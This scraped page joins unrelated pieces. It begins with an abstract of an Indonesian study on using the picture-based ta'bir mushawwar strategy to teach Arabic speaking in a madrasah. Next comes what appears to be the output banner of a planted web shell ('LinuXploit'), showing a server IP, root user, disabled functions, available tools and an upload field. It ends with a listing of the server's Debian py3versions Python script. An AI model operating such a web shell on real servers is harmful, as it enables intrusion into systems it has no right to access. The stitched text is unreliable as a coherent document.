Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Keywords:
Arabic; speaking skill; ta’bir mushawwar
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
| Server IP : 103.175.217.176 / Your IP : 18.117.75.218 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /bin/X11/ |
Upload File : |
#! /usr/bin/python3
import os
import re
import sys
_defaults = None
_old_versions = None
_unsupported_versions = None
_supported_versions = ["python%s" % ver.strip() for ver in
os.environ.get('DEBPYTHON3_SUPPORTED', '').split(',')
if ver.strip()]
#_default_version = "python%s" % os.environ.get('DEBPYTHON3_DEFAULT', '')
#if _default_version == 'python':
# _default_version = None
_default_version = None
def read_default(name=None):
global _defaults
from configparser import ConfigParser, NoOptionError
if not _defaults:
if os.path.exists('/usr/share/python3/debian_defaults'):
config = ConfigParser()
defaultsfile = open('/usr/share/python3/debian_defaults')
config.read_file(defaultsfile)
defaultsfile.close()
_defaults = config
if _defaults and name:
try:
value = _defaults.get('DEFAULT', name)
except NoOptionError:
raise ValueError
return value
return None
def parse_versions(vstring):
if len(vstring.split(',')) > 2:
raise ValueError('too many arguments provided for X-Python3-Version: min and max only.')
import operator
operators = {None: operator.eq, '=': operator.eq,
'>=': operator.ge, '<=': operator.le,
'<<': operator.lt}
vinfo = {}
exact_versions = set()
version_range = set(supported_versions(version_only=True))
relop_seen = False
for field in vstring.split(','):
field = field.strip()
if field == 'all':
continue
if field in ('current', 'current_ext'):
continue
vinfo.setdefault('versions', set())
ve = re.compile(r'(>=|<=|<<|=)? *(\d\.\d)$')
m = ve.match(field)
try:
if not m:
raise ValueError('error parsing Python3-Version attribute')
op, v = m.group(1), m.group(2)
vmaj, vmin = v.split('.')
if int(vmaj) < 3:
continue
if op in (None, '='):
exact_versions.add(v)
else:
relop_seen = True
filtop = operators[op]
version_range = [av for av in version_range if filtop(av, v)]
except Exception:
raise ValueError('error parsing Python3-Version attribute')
if 'versions' in vinfo:
vinfo['versions'] = exact_versions
if relop_seen:
vinfo['versions'] = exact_versions.union(version_range)
return vinfo
def old_versions(version_only=False):
global _old_versions
if not _old_versions:
try:
value = read_default('old-versions')
_old_versions = [s.strip() for s in value.split(',')]
except ValueError:
_old_versions = []
if version_only:
return [v[6:] for v in _old_versions]
else:
return _old_versions
def unsupported_versions(version_only=False):
global _unsupported_versions
if not _unsupported_versions:
try:
value = read_default('unsupported-versions')
_unsupported_versions = [s.strip() for s in value.split(',')]
except ValueError:
_unsupported_versions = []
if version_only:
return [v[6:] for v in _unsupported_versions]
else:
return _unsupported_versions
def supported_versions(version_only=False):
global _supported_versions,_default_version
default_version()
if not _supported_versions:
try:
value = read_default('supported-versions')
_supported_versions = [s.strip() for s in value.split(',')]
except ValueError:
cmd = ['/usr/bin/apt-cache', '--no-all-versions',
'show', 'python3-all']
try:
import subprocess
p = subprocess.Popen(cmd, bufsize=1,
shell=False, stdout=subprocess.PIPE)
fd = p.stdout
except ImportError:
fd = os.popen(' '.join(cmd))
depends = None
for line in fd:
if line.startswith('Depends:'):
depends = line.split(':', 1)[1].strip().split(',')
fd.close()
depends = [re.sub(r'\s*(\S+)[ (]?.*', r'\1', s) for s in depends]
_supported_versions = depends
default = _supported_versions.pop(_supported_versions.index(_default_version))
_supported_versions.sort()
_supported_versions.append(default)
if version_only:
return [v[6:] for v in _supported_versions]
else:
return _supported_versions
def default_version(version_only=False):
global _default_version
if not _default_version:
_default_version = os.readlink('/usr/bin/python3')
# consistency check
debian_default = read_default('default-version')
if not _default_version in (debian_default, os.path.join('/usr/bin', debian_default)):
raise ValueError("the symlink /usr/bin/python3 does not point to the "
"python3 default version. It must be reset "
"to point to %s" % debian_default)
_default_version = debian_default
if version_only:
return _default_version[6:]
else:
return _default_version
def requested_versions(vstring, version_only=False):
global _default_version
default_version()
versions = None
vinfo = parse_versions(vstring)
supported = supported_versions(version_only=True)
if len(vinfo) == 1:
versions = vinfo['versions'].intersection(supported)
vl = []
for version in versions: vl.append(version)
try:
default = vl.pop(vl.index(_default_version[6:]))
except:
default = ''
vl.sort()
if default:
vl.append(default)
else:
raise ValueError('No supported python3 versions in version string')
if not versions:
raise ValueError('empty set of versions')
if version_only:
return vl
else:
return ['python%s' % v for v in vl]
def installed_versions(version_only=False):
import glob
supported = supported_versions()
versions = [os.path.basename(s)
for s in glob.glob('/usr/bin/python3.[0-9]')
if os.path.basename(s) in supported]
versions.sort()
if version_only:
return [v[6:] for v in versions]
else:
return versions
class ControlFileValueError(ValueError):
pass
class MissingVersionValueError(ValueError):
pass
def extract_pyversion_attribute(fn, pkg):
"""read the debian/control file, extract the X-Python3-Version
field."""
version = None
sversion = None
section = None
with open(fn, encoding='utf-8') as controlfile:
lines = [line.strip() for line in controlfile]
for line in lines:
if line == '' and section != None:
if pkg == 'Source':
break
section = None
elif line.startswith('Source:'):
section = 'Source'
elif line.startswith('Package: ' + pkg):
section = pkg
elif line.lower().startswith('x-python3-version:'):
if section != 'Source':
raise ValueError('attribute X-Python3-Version not in Source section')
sversion = line.split(':', 1)[1].strip()
if section is None:
raise ControlFileValueError('not a control file')
if pkg == 'Source':
if sversion is None:
raise MissingVersionValueError('no X-Python3-Version in control file')
return sversion
return version
'''
def requested_versions_bis(vstring, version_only=False):
versions = []
py_supported_short = supported_versions(version_only=True)
for item in vstring.split(','):
v=item.split('-')
if len(v)>1:
if not v[0]:
v[0] = py_supported_short[0]
if not v[1]:
v[1] = py_supported_short[-1]
for ver in py_supported_short:
try:
if version_cmp(ver,v[0]) >= 0 \
and version_cmp(ver,v[1]) <= 0:
versions.append(ver)
except ValueError:
pass
else:
if v[0] in py_supported_short:
versions.append(v[0])
versions.sort(version_cmp)
if not versions:
raise ValueError('empty set of versions')
if not version_only:
versions=['python'+i for i in versions]
return versions
'''
def main():
from optparse import OptionParser
usage = '[-v] [-h] [-d|--default] [-s|--supported] [-i|--installed] '
'[-r|--requested <version string>|<control file>]'
parser = OptionParser(usage=usage)
parser.add_option('-d', '--default',
help='print the default python3 version',
action='store_true', dest='default')
parser.add_option('-s', '--supported',
help='print the supported python3 versions',
action='store_true', dest='supported')
parser.add_option('-r', '--requested',
help='print the python3 versions requested by a build; '
'the argument is either the name of a control file '
'or the value of the X-Python3-Version attribute',
action='store_true', dest='requested')
parser.add_option('-i', '--installed',
help='print the installed supported python3 versions',
action='store_true', dest='installed')
parser.add_option('-v', '--version',
help='print just the version number(s)',
default=False, action='store_true', dest='version_only')
opts, args = parser.parse_args()
program = os.path.basename(sys.argv[0])
if opts.default and len(args) == 0:
try:
print(default_version(opts.version_only))
except ValueError as msg:
print("%s:" % program, msg)
sys.exit(1)
elif opts.supported and len(args) == 0:
print(' '.join(supported_versions(opts.version_only)))
elif opts.installed and len(args) == 0:
print(' '.join(installed_versions(opts.version_only)))
elif opts.requested and len(args) <= 1:
if len(args) == 0:
versions = 'debian/control'
else:
versions = args[0]
try:
if os.path.isfile(versions):
fn = versions
try:
vstring = extract_pyversion_attribute(fn, 'Source')
vs = requested_versions(vstring, opts.version_only)
except ControlFileValueError:
sys.stderr.write("%s: not a control file: %s, "
% (program, fn))
sys.exit(1)
except MissingVersionValueError:
sys.stderr.write("%s: no X-Python3-Version in control "
"file, using supported versions\n" %
program)
vs = supported_versions(opts.version_only)
else:
vs = requested_versions(versions, opts.version_only)
print(' '.join(vs))
except ValueError as msg:
sys.stderr.write("%s: %s\n" % (program, msg))
sys.exit(1)
else:
sys.stderr.write("usage: %s %s\n" % (program, usage))
sys.exit(1)
if __name__ == '__main__':
main()
Youez - 2016 - github.com/yon3zu
LinuXploit